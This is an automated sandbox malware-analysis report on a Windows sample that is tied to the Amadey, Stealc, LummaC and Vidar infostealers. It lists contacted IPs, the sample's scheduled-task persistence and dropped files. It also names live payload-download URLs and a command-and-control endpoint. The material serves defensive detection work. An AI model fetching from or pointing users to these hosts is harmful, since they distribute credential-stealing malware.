http://185.215.113.206lfons	file.exe, 00000000.00000002.2678974708.0000000000A25000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/nodejs/node/pull/21313	babababa.exe.25.dr	false		high
https://github.com/mysticatea/abort-controller	babababa.exe.25.dr	false		high
http://www.midnight-commander.org/browser/lib/tty/key.c	babababa.exe.25.dr	false		high
https://nodejs.org/	babababa.exe.25.dr	false		high
https://tools.ietf.org/html/rfc7540#section-8.1.2.5	babababa.exe.25.dr	false		high
http://www.squid-cache.org/Doc/config/half_closed_clients/	babababa.exe.25.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp, JECBGCFH.0.dr	false		high
https://stackoverflow.com/a/5501711/3561	babababa.exe.25.dr	false		high
https://github.com/nodejs/node/pull/33661	babababa.exe.25.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2297663365.000000000121B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://narwhaljs.org)	babababa.exe.25.dr	false		high
https://plus.google.com	chromecache_471.4.dr	false		high
http://31.41.244.11/files/babababa.exem32	skotes.exe, 00000019.00000002.3400886451.0000000001278000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://tc39.es/proposal-iterator-helpers/#sec-iteratorprototype.some	babababa.exe.25.dr	false	Avira URL Cloud: safe	unknown
https://www.ecma-international.org/ecma-262/#sec-promise.all	babababa.exe.25.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
https://code.google.com/p/chromium/issues/detail?id=25916	babababa.exe.25.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/tc39/proposal-iterator-helpers/issues/169	babababa.exe.25.dr	false		high
https://v8.dev/blog/v8-release-89	babababa.exe.25.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	DAKEBAKFHCFHIEBFBAFBKFCAEH.0.dr	false		high
https://github.com/nodejs/node/issues/39707	babababa.exe.25.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2701989014.0000000023971000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKFHIEHJKFHDHDB.0.dr	false		high
https://github.com/nodejs/node/pull/12607	babababa.exe.25.dr	false		high
https://www.ecma-international.org/ecma-262/#sec-line-terminators	babababa.exe.25.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://sourcemaps.info/spec.html	babababa.exe.25.dr	false		high
https://invisible-island.net/xterm/ctlseqs/ctlseqs.html	babababa.exe.25.dr	false		high
https://github.com/nodejs/node/pull/12342	babababa.exe.25.dr	false		high
https://bugs.chromium.org/p/v8/issues/detail?id=6593	babababa.exe.25.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FIDGDAKFHIEHJKFHDHDB.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://github.com/nodejs/node/pull/34375	babababa.exe.25.dr	false		high
https://github.com/nodejs/node/pull/34010	babababa.exe.25.dr	false		high
https://heycam.github.io/webidl/#dfn-default-iterator-object	babababa.exe.25.dr	false		high
https://heycam.github.io/webidl/#es-iterable-entries	babababa.exe.25.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpL	skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://heycam.github.io/webidl/#es-interfaces	babababa.exe.25.dr	false		high
http://31.41.244.11/files/babababa.exe623847	skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque	babababa.exe.25.dr	false		high
https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color	babababa.exe.25.dr	false		high
https://github.com/nodejs/node/issues	babababa.exe.25.dr	false		high
https://github.com/addaleax/eventemitter-asyncresource	babababa.exe.25.dr	false		high
https://url.spec.whatwg.org/#urlsearchparams	babababa.exe.25.dr	false		high
https://github.com/chalk/supports-color	babababa.exe.25.dr	false		high
https://heycam.github.io/webidl/#Replaceable	babababa.exe.25.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php$	skotes.exe, 00000019.00000002.3400886451.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/nodejs/node/pull/30380#issuecomment-552948364	babababa.exe.25.dr	false		high
https://apis.google.com	chromecache_471.4.dr	false		high
https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval	babababa.exe.25.dr	false		high
https://heycam.github.io/webidl/#dfn-class-string	babababa.exe.25.dr	false		high
https://heycam.github.io/webidl/#dfn-iterator-prototype-object	babababa.exe.25.dr	false		high
https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode).	babababa.exe.25.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
52.168.117.170	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
108.156.211.19	unknown	United States	16509	AMAZON-02US	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	plus.l.google.com	United States	15169	GOOGLEUS	false
23.198.7.187	unknown	United States	20940	AKAMAI-ASN1EU	false
23.47.50.150	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
4.153.29.52	unknown	United States	3356	LEVEL3US	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.174	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.16.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.198.7.177	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.174	play.google.com	United States	15169	GOOGLEUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
23.221.22.213	unknown	United States	20940	AKAMAI-ASN1EU	false
13.32.110.123	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556901
Start date and time:	2024-11-16 13:00:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@73/306@26/28
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.184.206, 142.251.168.84, 34.104.35.123, 172.217.23.99, 142.250.185.170, 142.250.184.202, 142.250.186.170, 172.217.18.10, 216.58.206.42, 172.217.16.138, 142.250.181.234, 142.250.185.202, 142.250.74.202, 172.217.18.106, 142.250.186.42, 142.250.184.234, 142.250.185.234, 172.217.16.202, 142.250.186.106, 142.250.185.74, 142.250.185.138, 199.232.210.172, 192.229.221.95, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 142.250.185.78, 13.107.6.158, 2.19.126.145, 2.19.126.152, 98.64.238.3, 88.221.110.195, 88.221.110.179, 2.23.209.130, 2.23.209.189, 2.23.209.150, 2.23.209.135, 2.23.209.140, 2.23.209.158, 2.23.209.149, 2.23.209.133, 2.23.209.161, 2.23.209.193, 2.23.209.179, 2.23.209.185, 2.23.209.181, 2.23.209.187, 2.23.209.182, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.27, 2.23.209.26, 2.23.209.19, 2.23.209.23, 2.23.209.28, 2.23.209.29, 2.23.209.30, 2.23.209.20, 2.23.209.24, 2.23.209.176, 2.23.209.177, 48.209.180.244, 199.232.214.
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-ne-6.northeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-p
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:01:42	API Interceptor	165x Sleep call for process: file.exe modified
07:03:01	API Interceptor	131x Sleep call for process: skotes.exe modified
13:02:06	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
20.125.209.212	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
52.168.117.170	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse
	https://merzcon-my.sharepoint.com/:f:/g/personal/cnico_merzcon_onmicrosoft_com/EmjHG5K9dP9BtgBBeTTFhjABJRRLGM6IhVrJlwBTMWY8rg?e=pfkS1f	Get hash	malicious	Unknown	Browse
	Message_2551600.eml	Get hash	malicious	Unknown	Browse
	fa5a527b.eml	Get hash	malicious	HTMLPhisher	Browse
	Message_2477367.eml	Get hash	malicious	Unknown	Browse
	https://eficensitcom-my.sharepoint.com/:f:/g/personal/prathyushap_eficensit_com/EmmWsEjkvfRJorJdypQBJdYBR0PBdaEDGU2Tg4-Q6_4WZw?e=8wSnKh&xsdata=MDV8MDJ8dGhvbWFzLmhvZXZlbEBoeWRyYXRpZ2h0LmNvbXwyZjliZjI0NTdmZDI0NDRiNzk1NzA4ZGNkMmYxZTdlNXwxNjAyYWU4MjAyNjY0MGQ2OTEwYjExNjgwZmUwZjZhNXwwfDB8NjM4NjE3MTgzNjU0MDEzNTQyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=UWhyaGFVOWYxMGt6Z1piU1hUTDdKa2VCeVdQWUZwd2NwR09TSmE2eC9xVT0%3d	Get hash	malicious	HTMLPhisher	Browse
	https://nmgovdot-my.sharepoint.com/:f:/g/personal/brian_filip_nmgov_co/EopUqBu8fqpOvw_R7W8qXnEBWw032PoWoE-pjka6mBLMVw?e=G3klTx	Get hash	malicious	HtmlDropper	Browse
	phish_alert_iocp_v1.4.48 (71).eml	Get hash	malicious	Unknown	Browse
	https://fxsa-my.sharepoint.com/:f:/p/gr/Et9TbiHtnBlIryvHEhZtKroBSLIzQ4iv9Zu5Sp4msVBrzA?e=xXOh0r	Get hash	malicious	EvilProxy	Browse
	https://cvccworks-my.sharepoint.com/:o:/g/personal/tbrosseau_cvccworks_edu/Eq-UyPVcAplCp0EtULhG-vgBSBG-0YnvqRHIOFaj8gAVeA?e=0GtZle&c=E,1,DChFGbEapD80-9FdFFEzIgnps7b6noVGZQKGJYQxe5NZ1bO4xoHQSXTZoDZYFQom26YXPkpXr4g-Zcy6HwaX1DHyE-5Bk2WBwo9od82Z27DPdBWYzulyG2zvnA,,&typo=1	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.31.12
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	18.244.18.38
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.27

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fkese%2F7980321465/eW9vbmp1LmNob0Bib2xsb3JlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	rSWIFT.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fkese%2F7980321465/eW9vbmp1LmNob0Bib2xsb3JlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fkese%2F7980321465/eW9vbmp1LmNob0Bib2xsb3JlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	https://www.fc-pruem.de/readme/	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fkese%2F7980321465/eW9vbmp1LmNob0Bib2xsb3JlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	http://dimfa.elcompanies.digitalillustra.com	Get hash	malicious	Unknown	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 40.126.32.76 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFHDAEHDAKECGCAKFCFIJDHJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
